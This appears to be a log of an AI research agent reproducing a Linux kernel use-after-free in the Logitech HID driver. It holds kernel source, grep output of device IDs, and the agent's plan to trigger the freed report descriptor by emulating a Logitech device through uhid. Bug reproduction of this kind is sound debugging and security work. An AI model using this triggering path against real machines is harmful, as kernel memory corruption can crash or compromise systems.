2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-lg.c IncludeLines:true Name:lg_report_fixup]
Results: map[SourceCode: 425: /*
426: * Certain Logitech keyboards send in report #3 keys which are far
427: * above the logical maximum described in descriptor. This extends
428: * the original value of 0x28c of logical maximum to 0x104d
429: */
430: static const __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc,
431: unsigned int *rsize)
432: {
433: struct lg_drv_data *drv_data = hid_get_drvdata(hdev);
434:
435: if ((drv_data->quirks & LG_RDESC) && *rsize >= 91 && rdesc[83] == 0x26 &&
436: rdesc[84] == 0x8c && rdesc[85] == 0x02) {
437: hid_info(hdev,
438: "fixing up Logitech keyboard report descriptor\n");
439: rdesc[84] = rdesc[89] = 0x4d;
440: rdesc[85] = rdesc[90] = 0x10;
441: }
442: if ((drv_data->quirks & LG_RDESC_REL_ABS) && *rsize >= 51 &&
443: rdesc[32] == 0x81 && rdesc[33] == 0x06 &&
444: rdesc[49] == 0x81 && rdesc[50] == 0x06) {
445: hid_info(hdev,
446: "fixing up rel/abs in Logitech report descriptor\n");
447: rdesc[33] = rdesc[50] = 0x02;
448: }
449:
450: switch (hdev->product) {
451:
452: case USB_DEVICE_ID_LOGITECH_WINGMAN_FG:
453: if (*rsize == FG_RDESC_ORIG_SIZE) {
454: hid_info(hdev,
455: "fixing up Logitech Wingman Formula GP report descriptor\n");
456: *rsize = sizeof(fg_rdesc_fixed);
457: return fg_rdesc_fixed;
458: } else {
459: hid_info(hdev,
460: "rdesc size test failed for formula gp\n");
461: }
462: break;
463:
464:
465: case USB_DEVICE_ID_LOGITECH_WINGMAN_FFG:
466: if (*rsize == FFG_RDESC_ORIG_SIZE) {
467: hid_info(hdev,
468: "fixing up Logitech Wingman Formula Force GP report descriptor\n");
469: *rsize = sizeof(ffg_rdesc_fixed);
470: return ffg_rdesc_fixed;
471: }
472: break;
473:
474: /* Several wheels report as this id when operating in emulation mode. */
475: case USB_DEVICE_ID_LOGITECH_WHEEL:
476: if (*rsize == DF_RDESC_ORIG_SIZE) {
477: hid_info(hdev,
478: "fixing up Logitech Driving Force report descriptor\n");
479: *rsize = sizeof(df_rdesc_fixed);
480: return df_rdesc_fixed;
481: }
482: break;
483:
484: case USB_DEVICE_ID_LOGITECH_MOMO_WHEEL:
485: if (*rsize == MOMO_RDESC_ORIG_SIZE) {
486: hid_info(hdev,
487: "fixing up Logitech Momo Force (Red) report descriptor\n");
488: *rsize = sizeof(momo_rdesc_fixed);
489: return momo_rdesc_fixed;
490: }
491: break;
492:
493: case USB_DEVICE_ID_LOGITECH_MOMO_WHEEL2:
494: if (*rsize == MOMO2_RDESC_ORIG_SIZE) {
495: hid_info(hdev,
496: "fixing up Logitech Momo Racing Force (Black) report descriptor\n");
497: *rsize = sizeof(momo2_rdesc_fixed);
498: return momo2_rdesc_fixed;
499: }
500: break;
501:
502: case USB_DEVICE_ID_LOGITECH_VIBRATION_WHEEL:
503: if (*rsize == FV_RDESC_ORIG_SIZE) {
504: hid_info(hdev,
505: "fixing up Logitech Formula Vibration report descriptor\n");
506: *rsize = sizeof(fv_rdesc_fixed);
507: return fv_rdesc_fixed;
508: }
509: break;
510:
511: case USB_DEVICE_ID_LOGITECH_DFP_WHEEL:
512: if (*rsize == DFP_RDESC_ORIG_SIZE) {
513: hid_info(hdev,
514: "fixing up Logitech Driving Force Pro report descriptor\n");
515: *rsize = sizeof(dfp_rdesc_fixed);
516: return dfp_rdesc_fixed;
517: }
518: break;
519:
520: case USB_DEVICE_ID_LOGITECH_WII_WHEEL:
521: if (*rsize >= 101 && rdesc[41] == 0x95 && rdesc[42] == 0x0B &&
522: rdesc[47] == 0x05 && rdesc[48] == 0x09) {
523: hid_info(hdev, "fixing up Logitech Speed Force Wireless report descriptor\n");
524: rdesc[41] = 0x05;
525: rdesc[42] = 0x09;
526: rdesc[47] = 0x95;
527: rdesc[48] = 0x0B;
528: }
529: break;
530: }
531:
532: return rdesc;
533: }
SourceFile:drivers/hid/hid-lg.c]
|
| 23/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 45865
output: 23
thoughts: 802
Thoughts: **Analyzing the HID Report Fixup Vulnerability**
Okay, so I'm diving into this `hid-lg` issue. The initial thought was, "Yes, `hid-lg` has `lg_report_fixup`, which is relevant." However, a key realization struck me: we don't even *need* `hid-lg`. We can leverage `uhid` to create a virtual HID device. This would then be handled by `hid-generic` or another suitable driver. But wait, if we go the `uhid` route, does `hid-generic` even *have* a `report_fixup`? No, it doesn't.
Now, let's circle back to the core logic within `hid_open_report`. I'm going through the code again...
```c
start = device->bpf_rdesc;
if (WARN_ON(!start))
return -ENODEV;
size = device->bpf_rsize;
if (device->driver->report_fixup) {
/* ... */
u8 *buf __free(kfree) = kmemdup(start, size, GFP_KERNEL);
start = device->driver->report_fixup(device, buf, &size);
start = kmemdup(start, size, GFP_KERNEL);
}
device->rdesc = start;
device->rsize = size;
```
Ah! `hid_open_report` allocates `device->rdesc` *only* if `device->driver->report_fixup` is set. The subsequent allocation is critical here. And looking at `hid_close_report` reveals the crucial part:
```c
if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
kfree(device->rdesc);
```
So, if `report_fixup` is *not* set, `device->rdesc` is set to `device->bpf_rdesc`, and this isn't freed in `hid_close_report`! Aha! That's the crux.
Therefore, to trigger this use-after-free (UAF) vulnerability, `device->rdesc` MUST be allocated by `report_fixup` (or something else that distinguishes it from `dev_rdesc` and `bpf_rdesc`). Is there any other way `device->rdesc` can be different? What about `hid_bpf`? If `hid_bpf` is used, `bpf_rdesc` is allocated. But `hid_close_report` checks `device->rdesc != device->bpf_rdesc`. So, it *must* be `report_fixup` that allocates the memory in the first place.
Wait, let's go back and examine the bug report:
```
Allocated by task 19335:
...
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
```
Okay, the report confirms, it WAS `hid-lg`! Now to trigger the vulnerability. I'll use `uhid` to create a device that matches `hid-lg`. I need to figure out the device IDs. `hid-lg` matches:
```c
static const struct hid_device_id lg_devices[] = {
{ HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FFG),
...
```
Right, so I need to find `USB_VENDOR_ID_LOGITECH` and `USB_DEVICE_ID_LOGITECH_WINGMAN_FFG` and use those. I can use those IDs to target this!
|
| 24/2 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:USB_VENDOR_ID_LOGITECH]
Results: map[Output:drivers/hid/hid-ids.h-904-
drivers/hid/hid-ids.h:905:#define USB_VENDOR_ID_LOGITECH 0x046d
drivers/hid/hid-ids.h-906-#define USB_DEVICE_ID_LOGITECH_Z_10_SPK 0x0a07
--
drivers/hid/hid-input.c=359=static const struct hid_device_id hid_battery_quirks[] = {
--
drivers/hid/hid-input.c-386- HID_BATTERY_QUIRK_IGNORE },
drivers/hid/hid-input.c:387: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-input.c-388- USB_DEVICE_ID_LOGITECH_DINOVO_EDGE_KBD),
--
drivers/hid/hid-lg-g15.c=1343=static const struct hid_device_id lg_g15_devices[] = {
--
drivers/hid/hid-lg-g15.c-1347- */
drivers/hid/hid-lg-g15.c:1348: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-lg-g15.c-1349- USB_DEVICE_ID_LOGITECH_G13),
--
drivers/hid/hid-lg-g15.c-1351- /* The G11 is a G15 without the LCD, treat it as a G15 */
drivers/hid/hid-lg-g15.c:1352: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-lg-g15.c-1353- USB_DEVICE_ID_LOGITECH_G11),
drivers/hid/hid-lg-g15.c-1354- .driver_data = LG_G15 },
drivers/hid/hid-lg-g15.c:1355: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-lg-g15.c-1356- USB_DEVICE_ID_LOGITECH_G15_LCD),
drivers/hid/hid-lg-g15.c-1357- .driver_data = LG_G15 },
drivers/hid/hid-lg-g15.c:1358: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-lg-g15.c-1359- USB_DEVICE_ID_LOGITECH_G15_V2_LCD),
--
drivers/hid/hid-lg-g15.c-1361- /* G510 without a headset plugged in */
drivers/hid/hid-lg-g15.c:1362: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-lg-g15.c-1363- USB_DEVICE_ID_LOGITECH_G510),
--
drivers/hid/hid-lg-g15.c-1365- /* G510 with headset plugged in / with extra USB audio interface */
drivers/hid/hid-lg-g15.c:1366: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-lg-g15.c-1367- USB_DEVICE_ID_LOGITECH_G510_USB_AUDIO),
--
drivers/hid/hid-lg-g15.c-1369- /* Z-10 speakers */
drivers/hid/hid-lg-g15.c:1370: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-lg-g15.c-1371- USB_DEVICE_ID_LOGITECH_Z_10_SPK),
--
drivers/hid/hid-lg.c=859=static const struct hid_device_id lg_devices[] = {
drivers/hid/hid-lg.c:860: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_S510_RECEIVER),
drivers/hid/hid-lg.c-861- .driver_data = LG_RDESC | LG_WIRELESS },
drivers/hid/hid-lg.c-862-
drivers/hid/hid-lg.c:863: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RECEIVER),
drivers/hid/hid-lg.c-864- .driver_data = LG_BAD_RELATIVE_KEYS },
drivers/hid/hid-lg.c-865-
drivers/hid/hid-lg.c:866: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_DINOVO_DESKTOP),
drivers/hid/hid-lg.c-867- .driver_data = LG_DUPLICATE_USAGES },
drivers/hid/hid-lg.c-868-
drivers/hid/hid-lg.c:869: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_ELITE_KBD),
drivers/hid/hid-lg.c-870- .driver_data = LG_IGNORE_DOUBLED_WHEEL | LG_EXPANDED_KEYMAP },
drivers/hid/hid-lg.c:871: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_CORDLESS_DESKTOP_LX500),
drivers/hid/hid-lg.c-872- .driver_data = LG_IGNORE_DOUBLED_WHEEL | LG_EXPANDED_KEYMAP },
drivers/hid/hid-lg.c-873-
drivers/hid/hid-lg.c:874: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_EXTREME_3D),
drivers/hid/hid-lg.c-875- .driver_data = LG_NOGET },
drivers/hid/hid-lg.c:876: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_DUAL_ACTION),
drivers/hid/hid-lg.c-877- .driver_data = LG_NOGET },
drivers/hid/hid-lg.c:878: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WHEEL),
drivers/hid/hid-lg.c-879- .driver_data = LG_NOGET | LG_FF4 },
drivers/hid/hid-lg.c-880-
drivers/hid/hid-lg.c:881: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD_CORD),
drivers/hid/hid-lg.c-882- .driver_data = LG_FF2 },
drivers/hid/hid-lg.c:883: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD),
drivers/hid/hid-lg.c-884- .driver_data = LG_FF },
drivers/hid/hid-lg.c:885: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD2_2),
drivers/hid/hid-lg.c-886- .driver_data = LG_FF },
drivers/hid/hid-lg.c:887: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G29_WHEEL),
drivers/hid/hid-lg.c-888- .driver_data = LG_FF4 },
drivers/hid/hid-lg.c:889: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_F3D),
drivers/hid/hid-lg.c-890- .driver_data = LG_FF },
drivers/hid/hid-lg.c:891: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_FORCE3D_PRO),
drivers/hid/hid-lg.c-892- .driver_data = LG_FF },
drivers/hid/hid-lg.c:893: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_MOMO_WHEEL),
drivers/hid/hid-lg.c-894- .driver_data = LG_NOGET | LG_FF4 },
drivers/hid/hid-lg.c:895: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_MOMO_WHEEL2),
drivers/hid/hid-lg.c-896- .driver_data = LG_FF4 },
drivers/hid/hid-lg.c:897: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_VIBRATION_WHEEL),
drivers/hid/hid-lg.c-898- .driver_data = LG_FF2 },
drivers/hid/hid-lg.c:899: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G25_WHEEL),
drivers/hid/hid-lg.c-900- .driver_data = LG_FF4 },
drivers/hid/hid-lg.c:901: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_DFGT_WHEEL),
drivers/hid/hid-lg.c-902- .driver_data = LG_FF4 },
drivers/hid/hid-lg.c:903: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G27_WHEEL),
drivers/hid/hid-lg.c-904- .driver_data = LG_FF4 },
drivers/hid/hid-lg.c:905: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_DFP_WHEEL),
drivers/hid/hid-lg.c-906- .driver_data = LG_NOGET | LG_FF4 },
drivers/hid/hid-lg.c:907: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WII_WHEEL),
drivers/hid/hid-lg.c-908- .driver_data = LG_FF4 },
drivers/hid/hid-lg.c:909: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FG),
drivers/hid/hid-lg.c-910- .driver_data = LG_NOGET },
drivers/hid/hid-lg.c:911: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FFG),
drivers/hid/hid-lg.c-912- .driver_data = LG_NOGET | LG_FF4 },
drivers/hid/hid-lg.c:913: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD2),
drivers/hid/hid-lg.c-914- .driver_data = LG_NOGET | LG_FF2 },
drivers/hid/hid-lg.c:915: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_FLIGHT_SYSTEM_G940),
drivers/hid/hid-lg.c-916- .driver_data = LG_FF3 },
drivers/hid/hid-lg.c:917: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_SPACENAVIGATOR),
drivers/hid/hid-lg.c-918- .driver_data = LG_RDESC_REL_ABS },
drivers/hid/hid-lg.c:919: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_SPACETRAVELLER),
drivers/hid/hid-lg.c-920- .driver_data = LG_RDESC_REL_ABS },
--
drivers/hid/hid-logitech-dj.c=2054=static const struct hid_device_id logi_dj_receivers[] = {
drivers/hid/hid-logitech-dj.c-2055- { /* Logitech unifying receiver (0xc52b) */
drivers/hid/hid-logitech-dj.c:2056: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2057- USB_DEVICE_ID_LOGITECH_UNIFYING_RECEIVER),
--
drivers/hid/hid-logitech-dj.c-2059- { /* Logitech unifying receiver (0xc532) */
drivers/hid/hid-logitech-dj.c:2060: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2061- USB_DEVICE_ID_LOGITECH_UNIFYING_RECEIVER_2),
--
drivers/hid/hid-logitech-dj.c-2064- { /* Logitech Nano mouse only receiver (0xc52f) */
drivers/hid/hid-logitech-dj.c:2065: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2066- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER),
--
drivers/hid/hid-logitech-dj.c-2068- { /* Logitech Nano (non DJ) receiver (0xc534) */
drivers/hid/hid-logitech-dj.c:2069: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2070- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER_2),
--
drivers/hid/hid-logitech-dj.c-2073- { /* Logitech G700(s) receiver (0xc531) */
drivers/hid/hid-logitech-dj.c:2074: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2075- USB_DEVICE_ID_LOGITECH_G700_RECEIVER),
--
drivers/hid/hid-logitech-dj.c-2077- { /* Logitech G602 receiver (0xc537) */
drivers/hid/hid-logitech-dj.c:2078: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2079- 0xc537),
--
drivers/hid/hid-logitech-dj.c-2081- { /* Logitech lightspeed receiver (0xc539) */
drivers/hid/hid-logitech-dj.c:2082: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2083- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER_LIGHTSPEED_1),
--
drivers/hid/hid-logitech-dj.c-2085- { /* Logitech powerplay receiver (0xc53a) */
drivers/hid/hid-logitech-dj.c:2086: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2087- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER_POWERPLAY),
--
drivers/hid/hid-logitech-dj.c-2089- { /* Logitech lightspeed receiver (0xc53f) */
drivers/hid/hid-logitech-dj.c:2090: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2091- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER_LIGHTSPEED_1_1),
--
drivers/hid/hid-logitech-dj.c-2093- { /* Logitech lightspeed receiver (0xc543) */
drivers/hid/hid-logitech-dj.c:2094: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2095- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER_LIGHTSPEED_1_2),
--
drivers/hid/hid-logitech-dj.c-2097- { /* Logitech lightspeed receiver (0xc547) */
drivers/hid/hid-logitech-dj.c:2098: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2099- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER_LIGHTSPEED_1_3),
--
drivers/hid/hid-logitech-dj.c-2101- { /* Logitech lightspeed receiver (0xc54d) */
drivers/hid/hid-logitech-dj.c:2102: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2103- USB_DEVICE_ID_LOGITECH_NANO_RECEIVER_LIGHTSPEED_1_4),
--
drivers/hid/hid-logitech-dj.c-2106- { /* Logitech 27 MHz HID++ 1.0 receiver (0xc513) */
drivers/hid/hid-logitech-dj.c:2107: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_MX3000_RECEIVER),
drivers/hid/hid-logitech-dj.c-2108- .driver_data = recvr_type_27mhz},
drivers/hid/hid-logitech-dj.c-2109- { /* Logitech 27 MHz HID++ 1.0 receiver (0xc517) */
drivers/hid/hid-logitech-dj.c:2110: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2111- USB_DEVICE_ID_S510_RECEIVER_2),
--
drivers/hid/hid-logitech-dj.c-2113- { /* Logitech 27 MHz HID++ 1.0 mouse-only receiver (0xc51b) */
drivers/hid/hid-logitech-dj.c:2114: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2115- USB_DEVICE_ID_LOGITECH_27MHZ_MOUSE_RECEIVER),
--
drivers/hid/hid-logitech-dj.c-2118- { /* Logitech MX5000 HID++ / bluetooth receiver keyboard intf. (0xc70e) */
drivers/hid/hid-logitech-dj.c:2119: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2120- USB_DEVICE_ID_MX5000_RECEIVER_KBD_DEV),
--
drivers/hid/hid-logitech-dj.c-2122- { /* Logitech MX5000 HID++ / bluetooth receiver mouse intf. (0xc70a) */
drivers/hid/hid-logitech-dj.c:2123: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2124- USB_DEVICE_ID_MX5000_RECEIVER_MOUSE_DEV),
--
drivers/hid/hid-logitech-dj.c-2126- { /* Logitech MX5500 HID++ / bluetooth receiver keyboard intf. (0xc71b) */
drivers/hid/hid-logitech-dj.c:2127: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2128- USB_DEVICE_ID_MX5500_RECEIVER_KBD_DEV),
--
drivers/hid/hid-logitech-dj.c-2130- { /* Logitech MX5500 HID++ / bluetooth receiver mouse intf. (0xc71c) */
drivers/hid/hid-logitech-dj.c:2131: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2132- USB_DEVICE_ID_MX5500_RECEIVER_MOUSE_DEV),
--
drivers/hid/hid-logitech-dj.c-2135- { /* Logitech Dinovo Edge HID++ / bluetooth receiver keyboard intf. (0xc713) */
drivers/hid/hid-logitech-dj.c:2136: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2137- USB_DEVICE_ID_DINOVO_EDGE_RECEIVER_KBD_DEV),
--
drivers/hid/hid-logitech-dj.c-2139- { /* Logitech Dinovo Edge HID++ / bluetooth receiver mouse intf. (0xc714) */
drivers/hid/hid-logitech-dj.c:2140: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2141- USB_DEVICE_ID_DINOVO_EDGE_RECEIVER_MOUSE_DEV),
--
drivers/hid/hid-logitech-dj.c-2143- { /* Logitech DiNovo Mini HID++ / bluetooth receiver mouse intf. (0xc71e) */
drivers/hid/hid-logitech-dj.c:2144: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2145- USB_DEVICE_ID_DINOVO_MINI_RECEIVER_KBD_DEV),
--
drivers/hid/hid-logitech-dj.c-2147- { /* Logitech DiNovo Mini HID++ / bluetooth receiver keyboard intf. (0xc71f) */
drivers/hid/hid-logitech-dj.c:2148: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-dj.c-2149- USB_DEVICE_ID_DINOVO_MINI_RECEIVER_MOUSE_DEV),
--
drivers/hid/hid-logitech-hidpp.c=4529=static void hidpp_remove(struct hid_device *hdev)
--
drivers/hid/hid-logitech-hidpp.c-4545- HID_DEVICE(BUS_USB, HID_GROUP_LOGITECH_DJ_DEVICE, \
drivers/hid/hid-logitech-hidpp.c:4546: USB_VENDOR_ID_LOGITECH, (product))
drivers/hid/hid-logitech-hidpp.c-4547-
--
drivers/hid/hid-logitech-hidpp.c-4549- HID_DEVICE(BUS_USB, HID_GROUP_LOGITECH_27MHZ_DEVICE, \
drivers/hid/hid-logitech-hidpp.c:4550: USB_VENDOR_ID_LOGITECH, (product))
drivers/hid/hid-logitech-hidpp.c-4551-
drivers/hid/hid-logitech-hidpp.c=4552=static const struct hid_device_id hidpp_devices[] = {
--
drivers/hid/hid-logitech-hidpp.c-4560- { /* wireless touchpad T651 */
drivers/hid/hid-logitech-hidpp.c:4561: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-logitech-hidpp.c-4562- USB_DEVICE_ID_LOGITECH_T651),
--
drivers/hid/hid-logitech-hidpp.c-4609- { /* Logitech G403 Wireless Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4610: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC082) },
drivers/hid/hid-logitech-hidpp.c-4611- { /* Logitech G502 Lightspeed Wireless Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4612: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC08D) },
drivers/hid/hid-logitech-hidpp.c-4613- { /* Logitech G703 Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4614: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC087) },
drivers/hid/hid-logitech-hidpp.c-4615- { /* Logitech G703 Hero Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4616: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC090) },
drivers/hid/hid-logitech-hidpp.c-4617- { /* Logitech G900 Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4618: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC081) },
drivers/hid/hid-logitech-hidpp.c-4619- { /* Logitech G903 Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4620: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC086) },
drivers/hid/hid-logitech-hidpp.c-4621- { /* Logitech G Pro Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4622: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC088) },
drivers/hid/hid-logitech-hidpp.c-4623- { /* MX Vertical over USB */
drivers/hid/hid-logitech-hidpp.c:4624: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC08A) },
drivers/hid/hid-logitech-hidpp.c-4625- { /* Logitech G703 Hero Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4626: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC090) },
drivers/hid/hid-logitech-hidpp.c-4627- { /* Logitech G903 Hero Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4628: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC091) },
drivers/hid/hid-logitech-hidpp.c-4629- { /* Logitech G915 TKL Keyboard over USB */
drivers/hid/hid-logitech-hidpp.c:4630: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC343) },
drivers/hid/hid-logitech-hidpp.c-4631- { /* Logitech G920 Wheel over USB */
drivers/hid/hid-logitech-hidpp.c:4632: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G920_WHEEL),
drivers/hid/hid-logitech-hidpp.c-4633- .driver_data = HIDPP_QUIRK_CLASS_G920 | HIDPP_QUIRK_FORCE_OUTPUT_REPORTS},
drivers/hid/hid-logitech-hidpp.c-4634- { /* Logitech G923 Wheel (Xbox version) over USB */
drivers/hid/hid-logitech-hidpp.c:4635: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G923_XBOX_WHEEL),
drivers/hid/hid-logitech-hidpp.c-4636- .driver_data = HIDPP_QUIRK_CLASS_G920 | HIDPP_QUIRK_FORCE_OUTPUT_REPORTS },
drivers/hid/hid-logitech-hidpp.c-4637- { /* Logitech G Pro X Superlight Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4638: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC094) },
drivers/hid/hid-logitech-hidpp.c-4639- { /* Logitech G Pro X Superlight 2 Gaming Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4640: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xC09b) },
drivers/hid/hid-logitech-hidpp.c-4641- { /* Logitech G PRO 2 LIGHTSPEED Wireless Mouse over USB */
drivers/hid/hid-logitech-hidpp.c:4642: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0xc09a) },
drivers/hid/hid-logitech-hidpp.c-4643-
drivers/hid/hid-logitech-hidpp.c-4644- { /* G935 Gaming Headset */
drivers/hid/hid-logitech-hidpp.c:4645: HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, 0x0a87),
drivers/hid/hid-logitech-hidpp.c-4646- .driver_data = HIDPP_QUIRK_WIRELESS_STATUS },
--
drivers/hid/hid-logitech-hidpp.c-4648- { /* MX5000 keyboard over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4649: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb305),
drivers/hid/hid-logitech-hidpp.c-4650- .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
drivers/hid/hid-logitech-hidpp.c-4651- { /* Dinovo Edge keyboard over Bluetooth */
